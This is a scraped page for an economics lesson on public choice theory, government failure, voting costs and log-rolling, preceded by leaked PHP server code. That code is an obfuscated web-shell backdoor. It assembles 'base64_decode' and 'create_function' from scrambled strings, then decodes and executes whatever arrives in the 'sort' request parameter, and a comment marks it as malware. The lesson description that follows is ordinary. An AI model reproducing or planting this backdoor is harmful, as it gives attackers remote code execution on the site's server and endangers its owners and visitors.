if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); // MALWARE $f(); exit(); } $GLOBALS['libraryLocation'] = "/org/councilforeconed/core/library"; $GLOBALS['testingIPs'] = array( "NY Office" => "", "Brookings Office" => "" ); Focus: Understanding Economics in Civics and Government

Lesson 13 - Government Failure: Using Public Choice Theory to Analyze Political Decisions

The students are introduced to the basics of public choice analysis by reference to two examples of government failure. They participate in mock elections and analyze the impact of special interest groups on legislators. They examine the costs of voting and assess those costs as disincentives that might discourage people from obtaining information before voting, or from voting at all. Finally, they examine the concept of log-rolling by roleplaying U.S. senators who are considering whether or not to support a particular bill.

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Supplemental Resources

Glossary of Terms and Concepts

These are some of the important terms you'll cover in this lesson.

Glossary Handout

Book Materials

Lesson 13 Visuals
Visual 13.1 - Visual 13.5

Lesson 13 Activities
Activity 13.1 - Activity 13.3

Standards in Economics

View this lesson's State Standards in Economics
View this lesson's National Standards in Economics